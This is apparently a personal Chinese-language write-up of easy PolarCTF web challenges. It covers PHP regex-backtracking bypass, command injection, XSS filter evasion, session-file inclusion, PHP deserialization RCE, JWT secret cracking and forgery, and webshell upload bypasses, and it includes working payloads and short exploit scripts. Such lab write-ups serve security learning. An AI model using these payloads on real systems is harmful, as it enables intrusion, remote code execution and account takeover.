作为自己的副向也要认真学习刷题,但是现在哪一个方向都要认真学习刷题实践
swp:
这第一题就是要给我来个下马威?试试访问到/.index.php.swp,可以用御剑扫目录扫出来
F12查看代码

分析一下,POST传参,要求参数xdmtql字符串中必须包含"sys nb",就会返回flag,该参数不能是数组,故不可以进行数组绕过;要求这个参数又匹配/sys.*nb/is,又要求这个参数含有sys nb,产生矛盾
那么就传入足够长的数据使preg_match函数失效(利用PCRE回溯次数限制绕过)
python
import requests
url = 'http://6798cfa0-6424-4490-af65-7ee1c5b6153e.www.polarctf.com:8090/' #自己的网址
data = {
'xdmtql': 'sys nb'+'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)
运行即可
简单rce:
是一段php代码

问一下ai这一段php代码
需要满足两个条件,eval才能执行:GET参数sys必须存在;POST参数yyds必须存在
对于no函数,通过正则匹配,禁止了一些读取命令如cat等、空格以及多个命令执行函数
那么就需要绕过空格过滤和未禁用的文件读取方法,用include直接包含/flag
/?sys=include"/flag";
POST传参yyds=666即可

蜜雪冰城吉警店:
总共8个,让点第9个隐藏款奶茶的单子,这真是神人
查看源代码

直接把id = 8改成id = 9,再点最后一个就行

召唤神龙:
是一个游戏界面,不知道咋玩成功

看源代码,发现在main.js有一段不知道什么加密的文本

问一下ai

是JSFuck,在线解即可

seek flag:
先访问robots.txt有flag3

看源代码没啥思路,用bp抓包,找了半天终于在响应这二找到了flag2

咋拿到flag1呢,看一下别人的博客,是要将cookie的id改为1,再发送请求即可

拼到一块 flag{7ac5b3ca8737a70f029dc0ad71dadd11} (web类flag是动态的)
jwt:
登录界面

在源代码网络里发现一串base64加密字符串

解一下,但是看不出来啥

问一下ai就是个图标。也没看出来啥,看一下别人的博客
【Web】记录Polar靶场<简单>难度题一遍过(全)-CSDN博客
JWT是一种用于在网络上安全传递信息的轻量级令牌格式,基于 JSON 格式,常用于身份验证和信息交换。更多的在AI上可以了解一下
要先注册一个普通用户,查看源码,看到JWT以及值

在网站里解一下

jwt-cracker爆破出密钥为SYSA

jwt伪造,用户名改为admin

Yakit构造即可

login:
按F12会有登录提示
但是输入只是显示登陆成功

用bp抓包试试,也没啥结果。看一下别人的思路。
尝试去攻击,且学号不断向后递增就会发现从2开始每个学号对应的请求会有flag的一部分

拼起来即可 flag{dlcg}
iphone:
打开后有个界面,enter没啥信息

看一下代码

提示改UA,用bp改UA为iphone
还可以用HackBar改User Agent

浮生日记:
F12看代码,看title让弹个窗

无ssti,结合题目名字,可以想到js注入
发现如果写入<script>alert(1)</script>,输入就会变成空的

那就先闭合value值,再双写绕过
html
"><scriscriptpt>alert(1)</scriscriptpt>
点击即可获得flag
$$:
得到php代码

重点是变量覆盖和正则绕过,用GET传参c给变量(符号为$)a,正则绕过下面的符号
先尝试FLAG,输出是NULL;那么要用到超全局变量GLOBALS,构造
?c=GLOBALS就可以看到了

爆破:
一段php代码
重点看if语句,检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体来说,它检查字符串的第2、15和18 个字符是否相同。如果这三个位置的字符相同,则继续执行内部代码块
继续看里面if,这段代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块
根据分析和题目,可以先访问/?pass=text,再bp爆破

根据长度找到可疑之处,得到flag

还可以直接访问flag.php即可

XFF:
提示

那就直接XFF构造

发送给重放器,看响应

rce1:
由php代码

get传入ip参数,通过正则表达式过滤空格,没有空格才会继续执行执行 ping -c 4 {$ip}命令
用管道符,输入命令127.0.0.1|ls,返回一个fllllaaag.php
直接查看,右键查看源码即可

GET-POST:
根据代码

先GET传参,再POST传参即可

被黑掉的站:
扫目录
访问index.php.bak,给了一堆字典

访问shell.php

OK,字典爆破

签到题:
好家伙,有点贴脸开大,bp抓包,发现cookie初始值为no

改为yes,发包,发现一串base64加密字符串
在线解

直接访问

分析代码,GET传参file,过滤把../替换为空,拼接.php后缀,包含文件
php伪协议结合双写绕过,用伪协议以base64编码进行内容读取

base64解密即可

签到:
提交无法点击,F12查看源代码,在元素里将disabled删去

随便输一个数可以给提示

那这不就简单了嘛,可是发现复制不全

把maxlength调大一点就行

提交获得flag

session文件包含:
随便输没啥信息

查看源码,发现是php伪协议

用命令把php代码编码后的输出

base64解码

当通过 POST 传入 name 参数时,PHP会把Session数据写入服务器本地的 Session 文件;如果在 name 里传入恶意 PHP 代码(比如 <?php system('ls');?>),这段代码会被写入 Session 文件;再利用 include($_GET['file']) 的 LFI 漏洞,包含这个 Session 文件,PHP 就会执行里面的恶意代码。那么就用session恶意文件上传
先抓包,看到一个PHPSESSID,先将php语句包含到sess_ctf文件中,发送,再传入一句话木马

发现了flaggggg文件,继续查看发送即可,可能需要多次发送

Don't touch me:
F12查看源代码,发现有2.php,访问

发现click,不能点击。继续查看源代码,有个disabled,删掉即可

click,查看源代码,发现有fla.php,访问即可

robots:
根据题目提示,访问robots.txt

继续访问即可

php very nice:
一段php代码,是php反序列化

分析一下:对 $_GET['a'] 进行了 unserialize 反序列化操作,且类中存在 __destruct 魔术方法调用了危险的 eval() 函数执行代码
构造一个 Example 类的对象,把 $sys 属性改成我们想执行的 PHP 代码,再将对象序列化成字符串,通过 ?a= 传入
直接构造代码
php
<?php
class Example
{
public $sys = 'system("ls");'; // 这里替换成你想执行的代码,比如执行命令、读文件等
}
// 序列化对象,生成可传入的字符串
$a = new Example();
echo urlencode(serialize($a)); // urlencode 避免特殊字符被转义
?>
可以直接在线运行
https://www.jyshare.com/compile/1/
运行,GET传参

发现有flag.php,但是直接访问不行,需要通过代码,将ls换成查看flag.php,我这不能直接cat,需要tac,要直接将flag当作文本输出,而不是执行文件而导致没有输出
php
<?php
class Example
{
public $sys="system('tac cat flag.php');";
}
$a = new Example();
var_dump(serialize($a));
?>
运行,GET传参即可

ezupload:
随便上传一个,发现要上传GIF文件
那就上传一句话木马,把文件后缀改成gif,上传并抓包,将1.gif换成1.php发包

蚁剑连接即可

找到flag

cookie欺骗:
根据网页提示,只有admin用户才能获得flag
先看源代码,尝试修改,发现改不了;抓包修改即可

upload:
上传图片,尝试上传图片没有回应,查看源码发现信息

访问,有代码

分析一下代码,利用str_ireplace函数过滤了php,那就双写pphphp

蚁剑连接

找到flag


